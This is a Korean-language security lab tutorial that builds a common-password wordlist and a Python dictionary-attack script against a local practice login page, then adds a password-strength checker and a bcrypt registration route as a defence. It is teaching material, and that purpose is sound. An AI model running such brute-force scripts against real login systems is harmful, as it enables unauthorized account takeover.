소개
이 랩에서는 Python 을 사용하여 웹 애플리케이션의 약한 비밀번호 취약점을 식별하고 악용하는 방법을 배우게 됩니다. 공격자가 시스템을 어떻게 손상시키는지 이해하기 위해 일반적인 비밀번호 크래킹 기술을 연습할 것입니다. 이 실습을 통해 강력한 비밀번호 정책의 중요성을 강조하면서 필수적인 사이버 보안 기술을 개발할 수 있습니다.
이 랩에서는 Python 을 사용하여 웹 애플리케이션의 약한 비밀번호 취약점을 식별하고 악용하는 방법을 배우게 됩니다. 공격자가 시스템을 어떻게 손상시키는지 이해하기 위해 일반적인 비밀번호 크래킹 기술을 연습할 것입니다. 이 실습을 통해 강력한 비밀번호 정책의 중요성을 강조하면서 필수적인 사이버 보안 기술을 개발할 수 있습니다.
이 단계에서는 모든 보안 평가의 중요한 첫 번째 단계인 대상 웹사이트에 대한 정보를 수집합니다. 비밀번호 크래킹을 시도하기 전에 로그인 시스템이 어떻게 작동하고 어떤 보안 조치가 적용되었는지 이해하는 것이 중요합니다.
http://localhost:8080/로 이동합니다. LabEx 환경에서 Web 8080 탭을 클릭하여 액세스할 수 있습니다.
참고: LabEx 가상 머신에서 웹 서버는 임시 공용 네트워크에서 작동합니다. 즉, 표시되는 도메인 이름이 "localhost"가 아니라 실제로 액세스 가능한 도메인일 수 있습니다. 이는 정상이며 랩 연습에 영향을 미치지 않습니다.
로그인 양식을 주의 깊게 검토합니다. 다음 사항에 유의하십시오.
몇 가지 무작위 사용자 이름과 비밀번호 조합을 사용하여 로그인을 시도합니다. 예를 들어:
test, 비밀번호: password123admin, 비밀번호: adminuser, 비밀번호: 12345이들은 많은 초보자가 사용할 수 있는 일반적인 기본 자격 증명입니다. 각 시도에 대해 "잘못된 사용자 이름 또는 비밀번호" 메시지를 받게 됩니다.
이 초기 정찰 단계는 보안 전문가가 "풋프린팅 (footprinting)"이라고 부르는 것으로, 대상 시스템에 대한 기본 정보를 수집하는 것입니다. 이러한 세부 사항을 이해하면 다음 단계에서 비밀번호 크래킹 접근 방식을 보다 효과적으로 계획하는 데 도움이 됩니다.
이제 로그인 시스템에 대한 정보를 수집했으므로 잠재적인 비밀번호의 사전을 만들 것입니다. 사이버 보안에서 비밀번호 사전은 로그인 시스템에 대해 시도될 수 있는 가능한 비밀번호 목록이 포함된 텍스트 파일입니다. 이는 비밀번호 크래킹 시도에 사용되는 기본적인 기술이며, 이를 이해하면 더 나은 방어 체계를 구축하는 데 도움이 됩니다.

passwords.txt 파일을 생성하고 채웁니다.cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOF
이 명령은 "here document" (heredoc) 라고 하는 특수한 bash 기능을 사용합니다. 명령줄에서 직접 여러 줄의 내용이 있는 파일을 생성하는 편리한 방법입니다. 무슨 일이 일어나는지 자세히 살펴보겠습니다.
cat << EOF > filename: 이는 bash 에게 "EOF"를 볼 때까지 모든 입력을 받아 지정된 파일로 리디렉션하도록 지시합니다.EOF와 두 번째 EOF 사이의 텍스트가 파일의 내용이 됩니다.EOF는 입력의 끝을 알립니다.실행 후 ~/project/password_lab/ 디렉토리에 passwords.txt라는 새 파일이 생성됩니다. 이 파일에는 가장 일반적으로 사용되는 30 개의 약한 비밀번호가 포함되어 있습니다. 얼마나 많은 비밀번호가 단순한 단어, 숫자 시퀀스 또는 약간의 변형인지 확인하십시오. 이는 시스템을 취약하게 만드는 정확한 유형의 비밀번호입니다.
실제 보안 테스트에서 전문가는 다음을 포함하는 사전을 사용할 수 있습니다.
기억하세요: 공격 방법을 이해하기 위해 교육 목적으로 이 작은 사전을 사용하고 있지만, 명시적인 허가 없이 비밀번호를 크래킹하는 것은 불법이며 비윤리적입니다. 이 연습은 일반적인 취약점을 이해함으로써 더 강력한 인증 시스템을 구축하는 방법을 배우는 데 도움이 됩니다.
비밀번호 사전이 준비되었으므로 이제 대상 웹사이트에 대해 이러한 비밀번호를 테스트하는 프로세스를 자동화하는 Python 스크립트를 만들 것입니다. 이 스크립트는 공격자가 다양한 비밀번호 조합을 체계적으로 시도하는 방식을 시뮬레이션하여 강력한 비밀번호의 중요성을 이해하는 데 도움이 됩니다.
데스크톱에서 터미널이 아직 열려 있지 않은 경우 엽니다. 터미널은 Python 코드를 작성하고 실행할 곳입니다.
다음 명령을 입력하여 nano 텍스트 편집기에서 password_cracker.py라는 새 파일을 엽니다.
nano ~/project/password_lab/password_cracker.py
Nano 는 대부분의 Linux 시스템에 사전 설치된 간단한 텍스트 편집기입니다. 이를 사용하여 Python 스크립트를 작성합니다.
import requests
import time
def crack_password(username, password_list):
url = 'http://localhost:8080'
for password in password_list:
response = requests.post(url, data={'username': username, 'password': password.strip()})
if 'Login successful!' in response.text:
print(f"Succeeded! {username} with password: {password.strip()}")
else:
print(f"Failed attempt for {username} with password: {password.strip()}")
time.sleep(0.1) ## Small delay to avoid overwhelming the server
def main():
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
with open('passwords.txt', 'r') as f:
passwords = f.readlines()
for username in usernames:
print(f"Attempting to crack password for user: {username}")
crack_password(username, passwords)
if __name__ == '__main__':
main()
Ctrl+X, Y, 마지막으로 Enter를 눌러 파일을 저장하고 nano 를 종료합니다. 이 시퀀스는 변경 사항을 저장하고 터미널로 돌아갑니다.이 스크립트가 어떻게 작동하는지 자세히 살펴보겠습니다.
crack_password 함수:
requests 라이브러리를 사용하여 테스트 웹사이트에 HTTP POST 요청을 보냅니다.strip()으로 여분의 공백을 제거하고 로그인을 시도합니다.main 함수:
passwords.txt) 을 열고 모든 줄을 읽습니다.if __name__ == '__main__': 줄은 스크립트가 직접 실행될 때 실행되도록 합니다.이 스크립트는 기본적인 무차별 대입 공격 패턴을 보여줍니다. 사전의 모든 비밀번호를 각 사용자 이름에 대해 체계적으로 시도합니다. 시간 지연은 매우 중요합니다. 실제 공격자는 빠른 로그인 시도를 모니터링하는 보안 시스템에 의해 감지되지 않도록 유사한 지연을 자주 사용합니다.
이것은 순전히 교육적인 목적임을 기억하십시오. 실제 시나리오에서 명시적인 허가 없이 이러한 작업을 수행하는 것은 불법입니다. 우리는 무단 액세스를 수행하기 위해서가 아니라 이러한 기술을 더 잘 이해하고 방어하기 위해 배우고 있습니다.
이제 비밀번호 크래킹 스크립트를 준비했으므로 실행하고 실제로 어떻게 작동하는지 살펴보겠습니다. 이 실습 시연을 통해 기본적인 기술을 사용하여 약한 비밀번호가 어떻게 손상될 수 있는지 정확히 알 수 있습니다.
cd ~/project/password_lab
이 명령은 작업 디렉토리를 Python 스크립트를 저장한 위치로 변경합니다. 시스템이 파일을 찾아서 실행하려면 올바른 디렉토리에 있는 것이 중요합니다.
python password_cracker.py
Enter 키를 누르면 스크립트가 실행되기 시작합니다. 미리 정의된 목록에서 일반적인 비밀번호를 샘플 사용자 계정에 대해 체계적으로 시도하여 작동합니다.
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123
스크립트가 일치하는 항목을 찾을 때까지 일반적인 약한 비밀번호를 순서대로 시도하는 방식을 확인하십시오. 이는 사전 공격 (dictionary attack) 이라고 하며, 유력한 후보 목록에서 비밀번호를 테스트합니다.
이 연습은 간단한 비밀번호가 위험한 이유를 명확하게 보여줍니다. 테스트 사례에서 "supersecret123" 비밀번호를 가진 "admin" 계정은 일반적인 비밀번호 사전에 나타났기 때문에 취약했습니다. 문자 및 숫자가 포함되어 있지만 예측 가능성 때문에 크래킹하기 쉬웠습니다.
기억하세요: 이 시연은 교육 목적으로만 제공됩니다. 명시적인 허가 없이 실제 시스템에서 이러한 기술을 사용하는 것은 불법입니다. 우리의 목표는 보안 취약점을 이해하여 더 강력한 비밀번호 정책을 만들고 시스템을 더 잘 보호하는 것입니다.
이제 약한 비밀번호를 성공적으로 크래킹했으므로 이러한 공격을 방지하기 위해 적절한 보안 조치를 구현해 보겠습니다. 이 섹션에서는 비밀번호 강도 검사기 및 안전한 등록 시스템을 만들 것입니다. 이는 전문 웹 애플리케이션에서 사용되는 기본적인 보안 관행입니다.
WebIDE 탭을 엽니다. WebIDE 는 웹 기반 통합 개발 환경 (integrated development environment) 으로, 브라우저에서 직접 코드를 작성, 실행 및 디버깅할 수 있습니다. VS Code 편집기와 유사하지만 브라우저에서 실행됩니다. WebIDE 는 더 긴 코드 파일을 편집하는 데 적합합니다.
화면 왼쪽의 파일 탐색기에서 app.py 파일을 클릭하여 편집기에서 엽니다. 여기에 보안 개선 사항을 추가합니다.
비밀번호 강도 검사를 구현하기 위해 users 딕셔너리 뒤에 다음 함수를 추가합니다. 이 함수는 정규식 (regex) 을 사용하여 비밀번호 복잡성을 검증합니다.
import re
def is_strong_password(password):
if len(password) < 12:
return False
if not re.search(r'[A-Z]', password):
return False
if not re.search(r'[a-z]', password):
return False
if not re.search(r'\d', password):
return False
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return False
return True

이 함수는 다음을 확인하여 비밀번호가 최신 보안 표준을 충족하는지 확인합니다.
if __name__ == '__main__': 줄 앞에 이 코드 블록을 추가합니다. 이렇게 하면 웹 애플리케이션에 새 경로가 생성됩니다.@app.route('/register', methods=['GET', 'POST'])
def register():
message = ''
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username and password:
if is_strong_password(password):
if username not in users:
users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
message = 'Registration successful!'
else:
message = 'Username already exists'
else:
message = 'Password is not strong enough'
else:
message = 'Username and password are required'
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Registration</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-100 h-screen flex items-center justify-center">
<div class="bg-white p-8 rounded-lg shadow-md w-96">
<h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
<form method="post" class="space-y-4">
<div>
<label for="username" class="block text-sm font-medium text-gray-700">Username</label>
<input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label for="password" class="block text-sm font-medium text-gray-700">Password</label>
<input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
Register
</button>
</div>
</form>
<p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
<p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
</div>
</body>
</html>
''', message=message)

이 등록 시스템은 몇 가지 중요한 작업을 수행합니다.
저장 아이콘을 클릭하거나 Ctrl+S 를 눌러 WebIDE 에서 변경 사항을 저장합니다.
이제 Flask 애플리케이션을 다시 시작하여 이러한 변경 사항을 적용해 보겠습니다. 터미널을 열고 다음을 실행합니다.
pkill -f "python app.py"
python ~/project/password_lab/app.py
Web 8080 탭으로 이동하여 /register를 URL 에 추가하여 새 등록 양식에 액세스합니다.
"password123"과 같은 약한 비밀번호로 등록하여 보안을 테스트합니다. 시스템은 오류 메시지와 함께 거부해야 합니다.
이제 모든 기준을 충족하는 적절하게 강력한 비밀번호로 등록합니다. 예를 들어:
labexS3cureP@ssw0rd-2024이 비밀번호에는 필요한 모든 문자 유형이 포함되어 있고 길이가 충분함을 확인하십시오.
개선된 보안을 비밀번호 크래커에 대해 테스트해 보겠습니다. 먼저, password_cracker.py 스크립트를 수정하여 새 계정을 타겟팅합니다.
nano ~/project/password_lab/password_cracker.py
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']라는 줄을 찾습니다.usernames = ['labex']로 바꿔 새 계정을 타겟팅합니다.수정된 스크립트를 실행합니다.
python ~/project/password_lab/password_cracker.py
스크립트는 비밀번호를 크래킹하지 못해야 하며, 강력한 비밀번호 정책이 무차별 대입 공격을 효과적으로 방지하는 방법을 보여줍니다. 이는 최신 애플리케이션이 복잡한 비밀번호 요구 사항을 적용하는 이유를 보여줍니다.
이 랩에서는 윤리적인 비밀번호 크래킹과 웹 애플리케이션 보안 테스트의 기본 사항을 배웠습니다. 취약점을 식별하기 위한 정찰 기술을 연습하고, 비밀번호 사전을 만들고, Python 스크립트를 사용하여 공격 시뮬레이션을 자동화했습니다.
이 실습 경험을 통해 약한 비밀번호가 어떻게 악용될 수 있는지, 그리고 강력한 보안 조치를 구현하는 것이 얼마나 중요한지에 대한 통찰력을 얻었습니다. 이 랩에서는 강력한 비밀번호 정책과 같은 실용적인 대책을 시연하여 일반적인 공격으로부터 시스템을 효과적으로 보호할 수 있음을 보여주었습니다.